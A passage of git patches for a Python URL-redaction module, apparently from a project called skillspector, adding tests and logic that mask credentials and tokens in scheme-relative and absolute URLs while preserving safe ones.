TextRedactionResult( value=value, complete=True, diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index 62763736..111e3c1b 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -164,6 +164,57 @@ def test_source_change_rejects_raw_destination_redaction_bypasses( assert "type-boundary-secret" not in str(error.value) +@pytest.mark.parametrize( + "raw_destination", + [ + "//user:scheme-relative-source-secret@packages.example.invalid/private", + "//packages.example.invalid/private?token=scheme-relative-source-secret", + ], +) +def test_source_change_rejects_raw_scheme_relative_credentials( + raw_destination: str, +) -> None: + api = _api() + + with pytest.raises(ValueError) as error: + api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=raw_destination, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + assert "scheme-relative-source-secret" not in str(error.value) + + +@pytest.mark.parametrize( + "destination", + [ + "//REDACTED@packages.example.invalid/private", + "//packages.example.invalid/private?token=REDACTED", + ], +) +def test_source_change_accepts_sanitized_scheme_relative_destinations( + destination: str, +) -> None: + api = _api() + + change = api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=destination, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + assert change.destination == destination + + @pytest.mark.parametrize( "query_key", [ diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index e7e49b89..19078089 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -237,6 +237,94 @@ def test_valid_ipv6_http_and_git_urls_preserve_safe_authority_and_path( assert api.redact_url(raw) == expected +@pytest.mark.parametrize( + ("raw", "expected"), + [ + ( + "//user:scheme-relative-secret@packages.example.invalid/private#private-fragment", + "//REDACTED@packages.example.invalid/private", + ), + ( + "//packages.example.invalid/private?token=scheme-relative-query-secret&channel=stable", + "//packages.example.invalid/private?token=REDACTED&channel=stable", + ), + ( + "//user:scheme-relative-ipv6-secret@[2001:db8::1]:8443/private", + "//REDACTED@[2001:db8::1]:8443/private", + ), + ( + "//[2001:db8::1]:8443/private?channel=stable", + "//[2001:db8::1]:8443/private?channel=stable", + ), + ], +) +def test_scheme_relative_urls_sanitize_authority_query_and_fragment( + raw: str, + expected: str, +) -> None: + api = _api() + + redacted = api.redact_url(raw) + + assert redacted == expected + assert api.redact_url(redacted) == redacted + assert "secret" not in redacted + assert "fragment" not in redacted + + +@pytest.mark.parametrize( + "raw", + [ + "//user:scheme-relative-port-secret@packages.example.invalid:/private", + "//user:scheme-relative-bracket-secret@[not-ipv6]/private", + "//first:scheme-relative-at-secret@second@packages.example.invalid/private", + "//user:scheme-relative-host-secret@/private", + ], +) +def test_malformed_scheme_relative_authorities_fail_closed(raw: str) -> None: + api = _api() + + redacted = api.redact_url(raw) + + assert redacted == api.REDACTED_URL + assert "secret" not in redacted + + +@pytest.mark.parametrize( + "raw", + [ + "https://safe.invalid/?next=//user:nested-relative-secret@evil.invalid/x", + "https://safe.invalid//user:nested-path-secret@evil.invalid/x", + "https://safe.invalid/?next=//evil.invalid/x?token=nested-query-secret", + ], +) +def test_nested_scheme_relative_references_make_outer_urls_fail_closed(raw: str) -> None: + api = _api() + + redacted = api.redact_url(raw) + + assert redacted == api.REDACTED_URL + assert "secret" not in redacted + + +@pytest.mark.parametrize( + "raw", + [ + "//safe.invalid/path?next=https://user:nested-absolute-secret@evil.invalid/x", + "//safe.invalid/path?next=user:nested-scp-secret@evil.invalid:repo.git", + ], +) +def test_scheme_relative_outer_references_reject_nested_credential_candidates( + raw: str, +) -> None: + api = _api() + + redacted = api.redact_url(raw) + + assert redacted == api.REDACTED_URL + assert "secret" not in redacted + + def test_cargo_sparse_url_preserves_safe_scheme_host_and_path() -> None: api = _api() raw = "sparse+https://user:sparse-secret@packages.example.invalid/index/" @@ -800,6 +888,77 @@ def test_angle_bracket_prose_wrapper_is_preserved_around_a_sanitized_url() -> No assert api.redact_text(text) == ("Use .") +@pytest.mark.parametrize( + ("text", "expected"), + [ + ( + "Use //user:relative-prose-secret@packages.example.invalid/private now.", + "Use //REDACTED@packages.example.invalid/private now.", + ), + ( + "Use (//user:relative-wrapper-secret@packages.example.invalid/private), now.", + "Use (//REDACTED@packages.example.invalid/private), now.", + ), + ], +) +def test_embedded_scheme_relative_references_are_sanitized_with_simple_wrappers( + text: str, + expected: str, +) -> None: + api = _api() + + redacted = api.redact_text(text) + + assert redacted == expected + assert api.redact_text(redacted) == redacted + assert "secret" not in redacted + + +@pytest.mark.parametrize( + ("text", "expected"), + [ + ( + "Use //packages.example.invalid/private?token=relative-query-prose-secret now.", + "Use //packages.example.invalid/private?token=REDACTED now.", + ), + ( + "before\n//packages.example.invalid/private?token=relative-query-line-secret\nafter", + "before\n//packages.example.invalid/private?token=REDACTED\nafter", + ), + ], +) +def test_embedded_query_only_scheme_relative_references_cross_whitespace_boundaries( + text: str, + expected: str, +) -> None: + api = _api() + + redacted = api.redact_text(text) + + assert redacted == expected + assert "secret" not in redacted + + +@pytest.mark.parametrize( + "text", + [ + "x=//user:relative-assignment-secret@packages.example.invalid/private", + 'href="//user:relative-attribute-secret@packages.example.invalid/private"', + 'link', + ], +) +def test_ambiguous_scheme_relative_assignment_and_markup_tokens_are_masked( + text: str, +) -> None: + api = _api() + + redacted = api.redact_text(text) + + assert api.REDACTED_URL in redacted + assert "secret" not in redacted + assert api.redact_text(redacted) == redacted + + @pytest.mark.parametrize( ("text", "expected"), [ @@ -960,6 +1119,25 @@ def __add__(self, other: str) -> _CopyCountingString: return result +class _FindSpanCountingString(str): + requested_characters: int + + def __new__(cls, value: str) -> _FindSpanCountingString: + instance = super().__new__(cls, value) + instance.requested_characters = 0 + return instance + + def find( + self, + sub: str, + start: int = 0, + end: int | None = None, + ) -> int: + limit = len(self) if end is None else min(end, len(self)) + self.requested_characters += max(0, limit - start) + return super().find(sub, start, len(self) if end is None else end) + + def test_trailing_punctuation_is_detached_without_repeated_suffix_copying() -> None: api = _api() value = _CopyCountingString("https://host.invalid/path" + ("." * 1_000)) @@ -971,6 +1149,14 @@ def test_trailing_punctuation_is_detached_without_repeated_suffix_copying() -> N assert getattr(punctuation, "copied_characters", 0) <= len(value) * 2 +def test_scheme_relative_signal_discovery_does_not_rescan_dense_suffixes() -> None: + api = _api() + value = _FindSpanCountingString(",".join(["x=//user@host.invalid"] * 200)) + + assert api._scheme_relative_reference_signals(value) == 200 + assert value.requested_characters <= len(value) * 4 + + def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhausted() -> None: api = _api() first_secret = "first-bound-secret" @@ -1007,6 +1193,112 @@ def test_candidate_signal_budget_has_exact_one_over_and_zero_behavior() -> None: assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER +def test_scheme_relative_candidates_have_exact_budget_usage_without_double_charging() -> None: + api = _api() + text = ( + "//user:first-relative-budget-secret@one.invalid/x " + "https://user:absolute-budget-secret@two.invalid/y " + "//three.invalid/z?token=third-relative-budget-secret" + ) + + exact = api.redact_text_result(text, max_candidates=3) + one_over = api.redact_text_result(text, max_candidates=2) + zero = api.redact_text_result(text, max_candidates=0) + + assert exact == api.TextRedactionResult( + value=( + "//REDACTED@one.invalid/x https://REDACTED@two.invalid/y " + "//three.invalid/z?token=REDACTED" + ), + complete=True, + candidates=3, + reason=None, + ) + assert one_over == api.TextRedactionResult( + value=(f"//REDACTED@one.invalid/x https://REDACTED@two.invalid/y {api.REDACTED_REMAINDER}"), + complete=False, + candidates=2, + reason=api.TextRedactionIncompleteReason.CANDIDATE_LIMIT, + ) + assert zero == api.TextRedactionResult( + value=api.REDACTED_REMAINDER, + complete=False, + candidates=0, + reason=api.TextRedactionIncompleteReason.CANDIDATE_LIMIT, + ) + + +def test_scheme_relative_ipv6_userinfo_is_one_candidate_not_an_scp_candidate() -> None: + api = _api() + text = "//user:relative-ipv6-budget-secret@[2001:db8::1]:8443/private" + + assert api.redact_text_result(text, max_candidates=1) == api.TextRedactionResult( + value="//REDACTED@[2001:db8::1]:8443/private", + complete=True, + candidates=1, + reason=None, + ) + assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER + + +def test_interior_double_slash_prefix_does_not_double_charge_a_later_relative_ipv6() -> None: + api = _api() + text = "a//b,x=//user:relative-ipv6-prefix-secret@[2001:db8::1]:8443/private" + + result = api.redact_text_result(text, max_candidates=1) + + assert result == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=1, + reason=None, + ) + assert "secret" not in result.value + + +def test_non_reference_double_slashes_remain_on_the_benign_fast_path( + monkeypatch: pytest.MonkeyPatch, +) -> None: + api = _api() + text = "Keep //path, src/a//b.py, and // comment text unchanged." + + def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: + pytest.fail("candidate scanner should not run without a hierarchical reference") + + monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) + + assert api.redact_text_result(text) == api.TextRedactionResult( + value=text, + complete=True, + candidates=0, + reason=None, + ) + + +def test_large_interior_double_slash_text_stays_bounded_and_off_the_candidate_scanner( + monkeypatch: pytest.MonkeyPatch, +) -> None: + api = _api() + text = " ".join(["src/a//b.py"] * 50_000) + + def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: + pytest.fail("candidate scanner should not run for interior double slashes") + + def unexpected_relative_scan(*_args: Any, **_kwargs: Any) -> Any: + pytest.fail("Python relative-reference scan should not run for interior double slashes") + + monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) + monkeypatch.setattr(api, "_scan_scheme_relative_references", unexpected_relative_scan) + started = perf_counter() + result = api.redact_text_result(text) + elapsed = perf_counter() - started + + assert result.value is text + assert result.complete is True + assert result.candidates == 0 + assert elapsed < 2.0 + + def test_structured_text_result_distinguishes_literal_placeholder_from_exhaustion() -> None: api = _api() literal = api.redact_text_result(api.REDACTED_REMAINDER) From d766463ff6563ca7f95f8900592ca8fedacf2337 Mon Sep 17 00:00:00 2001 From: Nir Paz Date: Fri, 21 Aug 2026 19:35:39 -0700 Subject: [PATCH 11/30] fix(sc10): harden proportional URL redaction Signed-off-by: Nir Paz --- src/skillspector/url_redaction.py | 308 ++++++++++------ tests/unit/test_dependency_source_types.py | 46 ++- tests/unit/test_url_redaction.py | 401 ++++++++++++++------- 3 files changed, 523 insertions(+), 232 deletions(-) diff --git a/src/skillspector/url_redaction.py b/src/skillspector/url_redaction.py index ac26839a..f9772a21 100644 --- a/src/skillspector/url_redaction.py +++ b/src/skillspector/url_redaction.py @@ -56,6 +56,7 @@ _ENCODED_UNSAFE_AUTHORITY_CHARACTER = re.compile( r"%(?:0[0-9A-Fa-f]|1[0-9A-Fa-f]|20|23|2[fF]|3[aAfF]|40|5[bBcCdD]|7[fF])" ) +_ENCODED_AT_SIGN = re.compile(r"%40", re.IGNORECASE) _SCHEME = re.compile(r"^[A-Za-z][A-Za-z0-9+.-]*$") _SCP_URL = re.compile( r"^(?P[^@/:\\\s]+)@" @@ -73,8 +74,7 @@ "`": "`", } _SENTENCE_PUNCTUATION: Final = frozenset(".,") -_SCHEME_RELATIVE_BOUNDARIES: Final = frozenset("=([{<\"'`,;") -_SCHEME_RELATIVE_START = re.compile(r"(?:^|[\s=\(\[\{<\"'`,;])//") +_SCHEME_RELATIVE_TOKEN_START = re.compile(r"(?:^|\s)[\(\[\{<\"'`]?//") def _valid_bound(value: object) -> bool: @@ -102,6 +102,63 @@ def _query_key_is_sensitive(raw_key: str) -> bool: return any(term in folded for term in _CREDENTIAL_WORDS) +def _query_has_sensitive_key(raw_query: str) -> bool: + cursor = 0 + for delimiter in re.finditer(r"[&;]", raw_query): + raw_key, separator, _ = raw_query[cursor : delimiter.start()].partition("=") + try: + if separator and _query_key_is_sensitive(raw_key): + return True + except ValueError: + return True + cursor = delimiter.end() + raw_key, separator, _ = raw_query[cursor:].partition("=") + try: + return bool(separator and _query_key_is_sensitive(raw_key)) + except ValueError: + return True + + +def _query_has_nested_reference(raw_query: str) -> bool: + cursor = 0 + for delimiter in re.finditer(r"[&;]", raw_query): + raw_part = raw_query[cursor : delimiter.start()] + raw_key, separator, raw_value = raw_part.partition("=") + candidate = raw_value if separator else raw_key + if candidate.startswith("//") or _has_ambiguous_interior_double_slash(candidate): + return True + cursor = delimiter.end() + raw_key, separator, raw_value = raw_query[cursor:].partition("=") + candidate = raw_value if separator else raw_key + return candidate.startswith("//") or _has_ambiguous_interior_double_slash(candidate) + + +def _double_slash_tail_has_credential_shape( + value: str, + marker: int, + raw_query: str, +) -> bool: + suffix = value[marker + 2 :] + return bool( + "@" in suffix + or "#" in suffix + or _ENCODED_AT_SIGN.search(suffix) + or (raw_query and _query_has_sensitive_key(raw_query)) + ) + + +def _has_ambiguous_interior_double_slash(value: str) -> bool: + marker = value.find("//") + if marker <= 0 or "://" in value: + return False + _, separator, raw_query = value.partition("?") + return _double_slash_tail_has_credential_shape( + value, + marker, + raw_query if separator else "", + ) + + def _redact_query(raw_query: str) -> str: if not raw_query: return raw_query @@ -178,19 +235,22 @@ def _validated_safe_authority(parsed: SplitResult, authority: str) -> str | None def _redact_standard_url(value: str) -> str: - parsed = urlsplit(value) - scheme_relative = value.startswith("//") - if ( - not parsed.netloc - or (scheme_relative and parsed.scheme) - or (not scheme_relative and not _SCHEME.fullmatch(parsed.scheme)) - ): + try: + parsed = urlsplit(value) + except (UnicodeError, ValueError): return REDACTED_URL - if not scheme_relative and ( - _scheme_relative_reference_signals(parsed.path) - or _scheme_relative_reference_signals(parsed.query) - ): + if not _SCHEME.fullmatch(parsed.scheme) or not parsed.netloc: + return REDACTED_URL + if _query_has_nested_reference(parsed.query): return REDACTED_URL + interior_marker = parsed.path.find("//") + if interior_marker >= 0: + if parsed.fragment or _double_slash_tail_has_credential_shape( + parsed.path, + interior_marker, + "", + ): + return REDACTED_URL safe_authority = _validated_safe_authority(parsed, parsed.netloc) if safe_authority is None: return REDACTED_URL @@ -198,8 +258,52 @@ def _redact_standard_url(value: str) -> str: without_fragment = value.split("#", 1)[0] had_query_delimiter = "?" in without_fragment suffix = f"?{safe_query}" if had_query_delimiter else "" - prefix = "//" if scheme_relative else f"{parsed.scheme}://" - return f"{prefix}{safe_authority}{parsed.path}{suffix}" + return f"{parsed.scheme}://{safe_authority}{parsed.path}{suffix}" + + +def _validated_scheme_relative_reference( + value: str, +) -> tuple[SplitResult, str] | None: + if ( + len(value) <= 2 + or _CONTROL_CHARACTER.search(value) + or any(character.isspace() for character in value) + or _UNSAFE_URI_CHARACTER.search(value) + or _has_ambiguous_percent_escape(value) + ): + return None + try: + parsed = urlsplit(value) + except (UnicodeError, ValueError): + return None + if parsed.scheme or not parsed.netloc or "#" in value: + return None + safe_authority = _validated_safe_authority(parsed, parsed.netloc) + if safe_authority is None or not any( + character.isalnum() for character in (parsed.hostname or "") + ): + return None + return parsed, safe_authority + + +def _redact_scheme_relative_reference(value: str) -> str: + validated = _validated_scheme_relative_reference(value) + if validated is None: + return REDACTED_URL + parsed, safe_authority = validated + if safe_authority != parsed.netloc: + return REDACTED_URL + if ( + _query_has_sensitive_key(parsed.query) + or _query_has_nested_reference(parsed.query) + or "://" in parsed.path + or "://" in parsed.query + or "//" in parsed.path + or _looks_like_scp_git(parsed.path) + or _looks_like_scp_git(parsed.query) + ): + return REDACTED_URL + return value def _valid_scp_host(host: str) -> bool: @@ -273,55 +377,6 @@ def _hierarchical_suffix_after_authority(value: str) -> str: return value[suffix_start:] -def _scheme_relative_suffix_after_authority(value: str) -> str: - index = 2 - while index < len(value) and value[index] not in "/?#": - index += 1 - return value[index:] - - -def _scan_scheme_relative_references(value: str) -> tuple[int, int | None]: - signals = 0 - first_start: int | None = None - index = 0 - while index + 1 < len(value): - if value[index] != "/" or value[index + 1] != "/": - index += 1 - continue - start = index - index += 2 - if start > 0 and value[start - 1] == ":": - continue - if ( - start > 0 - and not value[start - 1].isspace() - and value[start - 1] not in _SCHEME_RELATIVE_BOUNDARIES - ): - continue - authority_start = index - if authority_start >= len(value): - continue - authority_end = authority_start - while ( - authority_end < len(value) - and not value[authority_end].isspace() - and value[authority_end] not in "/?#" - ): - authority_end += 1 - authority = value[authority_start:authority_end] - ended_at_reference_delimiter = authority_end < len(value) and value[authority_end] in "/?#" - if authority and (ended_at_reference_delimiter or "@" in authority): - signals += 1 - if first_start is None: - first_start = start - return signals, first_start - - -def _scheme_relative_reference_signals(value: str) -> int: - """Count bounded `//authority` references without treating `a//b` as one.""" - return _scan_scheme_relative_references(value)[0] - - def _detach_trailing_prose_punctuation( value: str, opener: str | None, @@ -342,31 +397,24 @@ def redact_url(value: str, *, max_characters: int = MAX_REDACTION_CHARACTERS) -> return REDACTED_URL if len(value) > max_characters: return REDACTED_URL - scheme_relative_signals = _scheme_relative_reference_signals(value) - is_scheme_relative = value.startswith("//") and scheme_relative_signals > 0 - if scheme_relative_signals and not is_scheme_relative: - return REDACTED_URL - if is_scheme_relative and scheme_relative_signals > 1: + if value.startswith("//"): + try: + return _redact_scheme_relative_reference(value) + except Exception: + return REDACTED_URL + if _has_ambiguous_interior_double_slash(value): return REDACTED_URL - is_absolute_hierarchical_uri = "://" in value - is_hierarchical_uri = is_absolute_hierarchical_uri or is_scheme_relative + is_hierarchical_uri = "://" in value suspicious = is_hierarchical_uri or _looks_like_scp_git(value) if not suspicious: return value - if is_scheme_relative and ( - is_absolute_hierarchical_uri - or _looks_like_scp_git(_scheme_relative_suffix_after_authority(value)) - ): - return REDACTED_URL - if is_absolute_hierarchical_uri: + if is_hierarchical_uri: first_marker = value.find("://") if value.find("://", first_marker + 3) >= 0 or _looks_like_scp_git( _hierarchical_suffix_after_authority(value) ): return REDACTED_URL - elif ( - not is_hierarchical_uri and "#" in value and not _looks_like_scp_git(value.split("#", 1)[0]) - ): + elif "#" in value and not _looks_like_scp_git(value.split("#", 1)[0]): return REDACTED_URL if ( _CONTROL_CHARACTER.search(value) @@ -443,10 +491,6 @@ def _scp_signals_in_token(token: str, first_marker: int) -> int: if "@" not in token or ":" not in token: return 0 if first_marker < 0: - relative_signals, relative_start = _scan_scheme_relative_references(token) - if relative_signals and relative_start is not None: - suffix = _scheme_relative_suffix_after_authority(token[relative_start:]) - return suffix.count("@") if _looks_like_scp_git(suffix) else 0 return token.count("@") if _looks_like_scp_git(token) else 0 signals = 0 @@ -469,17 +513,14 @@ def _scp_signals_in_token(token: str, first_marker: int) -> int: def _simple_redact_token(token: str, *, max_candidates: int) -> _TokenRedactionResult: - marker_count = token.count("://") - first_marker = token.find("://") - if first_marker >= 0: - scheme_relative_signals = _scheme_relative_reference_signals(token[:first_marker]) - scheme_relative_signals += _scheme_relative_reference_signals( - _hierarchical_suffix_after_authority(token) - ) + opener, candidate, closer, punctuation = _simple_token_parts(token) + if candidate.startswith("//"): + signals = 1 + elif _has_ambiguous_interior_double_slash(candidate): + signals = 1 else: - scheme_relative_signals = _scheme_relative_reference_signals(token) - scp_signals = _scp_signals_in_token(token, first_marker) - signals = marker_count + scheme_relative_signals + scp_signals + first_marker = token.find("://") + signals = token.count("://") + _scp_signals_in_token(token, first_marker) if signals == 0: return _TokenRedactionResult(token, 0, True) if signals > max_candidates: @@ -489,7 +530,6 @@ def _simple_redact_token(token: str, *, max_candidates: int) -> _TokenRedactionR False, ) - opener, candidate, closer, punctuation = _simple_token_parts(token) sanitized = redact_url(candidate, max_characters=len(candidate)) if sanitized == REDACTED_URL: return _TokenRedactionResult(f"{REDACTED_URL}{punctuation}", signals, True) @@ -500,6 +540,43 @@ def _simple_redact_token(token: str, *, max_candidates: int) -> _TokenRedactionR ) +def _next_token_has_credential_shape(value: str, start: int) -> bool: + index = start + while index < len(value) and value[index].isspace(): + index += 1 + token_start = index + while index < len(value) and not value[index].isspace(): + index += 1 + token = value[token_start:index] + if not token: + return False + at_sign = token.find("@") + colon = token.find(":") + if at_sign >= 0 and ( + 0 <= colon < at_sign + or "=" in token[:at_sign] + or any(delimiter in token[at_sign + 1 :] for delimiter in "/?#:[]") + ): + return True + encoded_at_sign = _ENCODED_AT_SIGN.search(token) + if encoded_at_sign is not None: + encoded_user = token[: encoded_at_sign.start()].casefold() + encoded_suffix = token[encoded_at_sign.end() :].casefold() + if ( + ":" in encoded_user + or "%3a" in encoded_user + or "=" in encoded_user + or "%3d" in encoded_user + or any(delimiter in encoded_suffix for delimiter in "/?#:[]") + or any(delimiter in encoded_suffix for delimiter in ("%3a", "%5b", "%5d")) + ): + return True + if "#" in token: + return True + _, separator, raw_query = token.partition("?") + return bool(separator and _query_has_sensitive_key(raw_query)) + + def _redact_text_with_usage(value: str, *, max_candidates: int) -> TextRedactionResult: result = StringIO() cursor = 0 @@ -515,8 +592,36 @@ def _redact_text_with_usage(value: str, *, max_candidates: int) -> TextRedaction if token_start == index: continue result.write(value[cursor:token_start]) + token_value = value[token_start:index] + _, bare_candidate, _, _ = _simple_token_parts(token_value) + incomplete_relative_attempt = bare_candidate.startswith("//") and ( + _validated_scheme_relative_reference(bare_candidate) is None + ) + ambiguous_continuation = incomplete_relative_attempt and ( + _next_token_has_credential_shape(value, index) + ) + if bare_candidate == "//" and not ambiguous_continuation: + result.write(token_value) + cursor = index + continue + if incomplete_relative_attempt and ambiguous_continuation: + if candidates >= max_candidates: + result.write(REDACTED_REMAINDER) + return TextRedactionResult( + value=result.getvalue(), + complete=False, + candidates=candidates, + reason=TextRedactionIncompleteReason.CANDIDATE_LIMIT, + ) + result.write(REDACTED_URL) + return TextRedactionResult( + value=result.getvalue(), + complete=True, + candidates=candidates + 1, + reason=None, + ) token = _simple_redact_token( - value[token_start:index], + token_value, max_candidates=max_candidates - candidates, ) result.write(token.value) @@ -576,15 +681,16 @@ def redact_text_result( candidates=0, reason=TextRedactionIncompleteReason.CHARACTER_LIMIT, ) - might_have_scheme_relative_reference = ( - "//" in value and _SCHEME_RELATIVE_START.search(value) is not None + has_scheme_relative_attempt = ( + "//" in value and _SCHEME_RELATIVE_TOKEN_START.search(value) is not None ) - has_scheme_relative_reference = might_have_scheme_relative_reference and bool( - _scheme_relative_reference_signals(value) + might_have_ambiguous_interior = "//" in value and ( + any(signal in value for signal in "@#?") or _ENCODED_AT_SIGN.search(value) is not None ) if ( "://" not in value - and not has_scheme_relative_reference + and not has_scheme_relative_attempt + and not might_have_ambiguous_interior and ("@" not in value or ":" not in value) ): return TextRedactionResult( diff --git a/tests/unit/test_dependency_source_types.py b/tests/unit/test_dependency_source_types.py index 111e3c1b..73d353b3 100644 --- a/tests/unit/test_dependency_source_types.py +++ b/tests/unit/test_dependency_source_types.py @@ -169,6 +169,29 @@ def test_source_change_rejects_raw_destination_redaction_bypasses( [ "//user:scheme-relative-source-secret@packages.example.invalid/private", "//packages.example.invalid/private?token=scheme-relative-source-secret", + "//?token=scheme-relative-source-secret", + "// /x?token=scheme-relative-source-secret", + "// user:scheme-relative-source-secret@packages.example.invalid/private", + "// user:scheme-relative-source-secret%40packages.example.invalid/private", + "// user%3Ascheme-relative-source-secret%40packages.example.invalid/private", + "// token=scheme-relative-source-secret@packages.example.invalid", + "// token%3Dscheme-relative-source-secret%40packages.example.invalid", + "// scheme-relative-source-secret@packages.example.invalid:8443", + "// scheme-relative-source-secret@[2001:db8::1]", + "//: user:scheme-relative-source-secret@packages.example.invalid/private", + "//: user:scheme-relative-source-secret%40packages.example.invalid/private", + "//? /x?token=scheme-relative-source-secret", + "/// /x?token=scheme-relative-source-secret", + "//; user:scheme-relative-source-secret@packages.example.invalid/private", + "x//user:ambiguous-source-secret@packages.example.invalid/private", + "x//packages.example.invalid/private#ambiguous-source-secret", + "x//packages.example.invalid/private?token=ambiguous-source-secret", + "x//user:ambiguous-source-secret%40packages.example.invalid/private", + "x?next=a//evil.invalid/path&token=ambiguous-source-secret", + "https://safe.invalid/path?next=x//user:nested-source-secret@evil.invalid/x", + "https://safe.invalid/path?next=x//user:nested-source-secret%40evil.invalid/x", + "https://safe.invalid/a//user:nested-source-secret@evil.invalid/x", + "//safe.invalid/path?next=x//user:nested-source-secret@evil.invalid/x", ], ) def test_source_change_rejects_raw_scheme_relative_credentials( @@ -193,8 +216,10 @@ def test_source_change_rejects_raw_scheme_relative_credentials( @pytest.mark.parametrize( "destination", [ - "//REDACTED@packages.example.invalid/private", - "//packages.example.invalid/private?token=REDACTED", + "[REDACTED_URL]", + "//packages.example.invalid/private?channel=stable", + "https://safe.invalid/a//b/c?channel=dev@example.invalid", + "https://safe.invalid/a//b/c?scope=%40org", ], ) def test_source_change_accepts_sanitized_scheme_relative_destinations( @@ -215,6 +240,23 @@ def test_source_change_accepts_sanitized_scheme_relative_destinations( assert change.destination == destination +def test_source_change_accepts_interior_double_slash_as_non_reference_syntax() -> None: + api = _api() + destination = "src/a//b.py" + + change = api.SourceChange( + ecosystem="npm", + surface="npm config", + operation="replace", + scope="global", + destination=destination, + destination_status=api.DestinationStatus.RESOLVED, + span=_span(api), + ) + + assert change.destination == destination + + @pytest.mark.parametrize( "query_key", [ diff --git a/tests/unit/test_url_redaction.py b/tests/unit/test_url_redaction.py index 19078089..19811ee8 100644 --- a/tests/unit/test_url_redaction.py +++ b/tests/unit/test_url_redaction.py @@ -238,91 +238,209 @@ def test_valid_ipv6_http_and_git_urls_preserve_safe_authority_and_path( @pytest.mark.parametrize( - ("raw", "expected"), + "value", [ - ( - "//user:scheme-relative-secret@packages.example.invalid/private#private-fragment", - "//REDACTED@packages.example.invalid/private", - ), - ( - "//packages.example.invalid/private?token=scheme-relative-query-secret&channel=stable", - "//packages.example.invalid/private?token=REDACTED&channel=stable", - ), - ( - "//user:scheme-relative-ipv6-secret@[2001:db8::1]:8443/private", - "//REDACTED@[2001:db8::1]:8443/private", - ), - ( - "//[2001:db8::1]:8443/private?channel=stable", - "//[2001:db8::1]:8443/private?channel=stable", - ), + "//packages.example.invalid/private", + "//[2001:db8::1]:8443/private?channel=stable&channel=beta", + "//path", ], ) -def test_scheme_relative_urls_sanitize_authority_query_and_fragment( - raw: str, - expected: str, +def test_demonstrably_safe_scheme_relative_references_are_preserved_exactly( + value: str, ) -> None: api = _api() - redacted = api.redact_url(raw) - - assert redacted == expected - assert api.redact_url(redacted) == redacted - assert "secret" not in redacted - assert "fragment" not in redacted + assert api.redact_url(value) == value + assert api.redact_text_result(value) == api.TextRedactionResult( + value=value, + complete=True, + candidates=1, + reason=None, + ) @pytest.mark.parametrize( "raw", [ + "//user:scheme-relative-secret@packages.example.invalid/private", + "//packages.example.invalid/private?token=scheme-relative-query-secret", + "//packages.example.invalid/private?token=REDACTED", + "//packages.example.invalid/private#scheme-relative-fragment-secret", "//user:scheme-relative-port-secret@packages.example.invalid:/private", "//user:scheme-relative-bracket-secret@[not-ipv6]/private", "//first:scheme-relative-at-secret@second@packages.example.invalid/private", - "//user:scheme-relative-host-secret@/private", + "//?token=empty-authority-secret", + "///x?token=empty-authority-path-secret", + "// /x?token=space-authority-secret", + "//safe.invalid/a//nested.invalid/x", + "//safe.invalid/path?next=https://user:nested-absolute-secret@evil.invalid/x", + "//safe.invalid/path?next=//user:nested-relative-secret@evil.invalid/x", + "//safe.invalid/path?next=x//user:nested-interior-secret@evil.invalid/x", + "//safe.invalid/path?next=x//evil.invalid/x?token=nested-query-secret", + "//safe.invalid/path?next=user:nested-scp-secret@evil.invalid:repo.git", ], ) -def test_malformed_scheme_relative_authorities_fail_closed(raw: str) -> None: +def test_unsafe_or_ambiguous_scheme_relative_values_use_one_placeholder(raw: str) -> None: api = _api() - redacted = api.redact_url(raw) + assert api.redact_url(raw) == api.REDACTED_URL + assert api.redact_text_result(raw) == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=1, + reason=None, + ) + assert "secret" not in api.redact_text(raw) - assert redacted == api.REDACTED_URL - assert "secret" not in redacted + +def test_absolute_url_double_slash_path_is_safe_but_nested_query_reference_is_ambiguous() -> None: + api = _api() + safe = "https://registry.example.invalid/a//b/c" + nested = "https://registry.example.invalid/a//b/c?next=//user:secret@evil.invalid/x" + + assert api.redact_url(safe) == safe + assert api.redact_text_result(safe) == api.TextRedactionResult( + value=safe, + complete=True, + candidates=1, + reason=None, + ) + assert api.redact_url(nested) == api.REDACTED_URL + assert api.redact_text_result(nested) == api.TextRedactionResult( + value=api.REDACTED_URL, + complete=True, + candidates=1, + reason=None, + ) @pytest.mark.parametrize( - "raw", + "safe", [ - "https://safe.invalid/?next=//user:nested-relative-secret@evil.invalid/x", - "https://safe.invalid//user:nested-path-secret@evil.invalid/x", - "https://safe.invalid/?next=//evil.invalid/x?token=nested-query-secret", + "https://safe.invalid/a//b%20c", + "https://safe.invalid/a//b%2Fc", + "https://safe.invalid/a//b/c?channel=dev@example.invalid", + "https://safe.invalid/a//b/c?scope=@org", + "https://safe.invalid/a//b/c?scope=%40org", ], ) -def test_nested_scheme_relative_references_make_outer_urls_fail_closed(raw: str) -> None: +def test_absolute_double_slash_paths_preserve_ordinary_percent_encoded_data( + safe: str, +) -> None: api = _api() - redacted = api.redact_url(raw) - - assert redacted == api.REDACTED_URL - assert "secret" not in redacted + assert api.redact_url(safe) == safe + assert api.redact_text_result(safe) == api.TextRedactionResult( + value=safe, + complete=True, + candidates=1, + reason=None, + ) @pytest.mark.parametrize( - "raw", + ("raw", "expected"), [ - "//safe.invalid/path?next=https://user:nested-absolute-secret@evil.invalid/x", - "//safe.invalid/path?next=user:nested-scp-secret@evil.invalid:repo.git", + ( + "https://safe.invalid/a//b/c?next=a//b&token=query-secret", + "https://safe.invalid/a//b/c?next=a//b&token=REDACTED", + ), + ( + "https://registry.example.invalid/a//b/c?token=query-secret&channel=stable", + "https://registry.example.invalid/a//b/c?token=REDACTED&channel=stable", + ), ], ) -def 